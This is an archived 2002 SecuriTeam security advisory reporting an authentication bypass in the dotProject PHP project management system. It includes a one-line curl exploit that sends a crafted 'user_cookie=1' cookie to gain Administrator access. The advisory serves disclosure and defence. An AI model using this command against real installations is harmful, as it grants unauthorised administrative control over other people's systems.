

[UNIX] PHP dotProject Vulnerable to Authentication Bypassing

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-07/0132.html>

From: support@securiteam.com

Date: 07/30/02

From: support@securiteam.com

To: list@securiteam.com

Date: Tue, 30 Jul 2002 08:38:16 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

PHP dotProject Vulnerable to Authentication Bypassing

SUMMARY

<<http://www.dotproject.org/index.php>> dotProject is web base project management system. A security vulnerability in the product allows anyone to bypass the authentication mechanism and login as an Administrator.

DETAILS

Exploit:

It was rather simple to exploit, user may send a crafted cookie like:

`curl -b user_cookie=1 http://server/project/index.php?m=projects`

Or simply append user_cookie=1 in any URL:

<http://server/project/index.php?m=projects>>

Vendor response:

Vendor has been contacted on 24/7/2002 but no reply has been received.

ADDITIONAL INFORMATION

The information has been provided by

<<mailto:pokleyzz@scan-associates.net>> pokleyzz,

Securiteam: [UNIX] PHP dotProject Vulnerable to Authentication Bypassing

<mailto:sk@scan-associates.net> sk, and
<mailto:shaharil@scan-associates.net> shaharil.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[\[NEWS\] Firewall Circumvention Possible with All Browsers](#)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)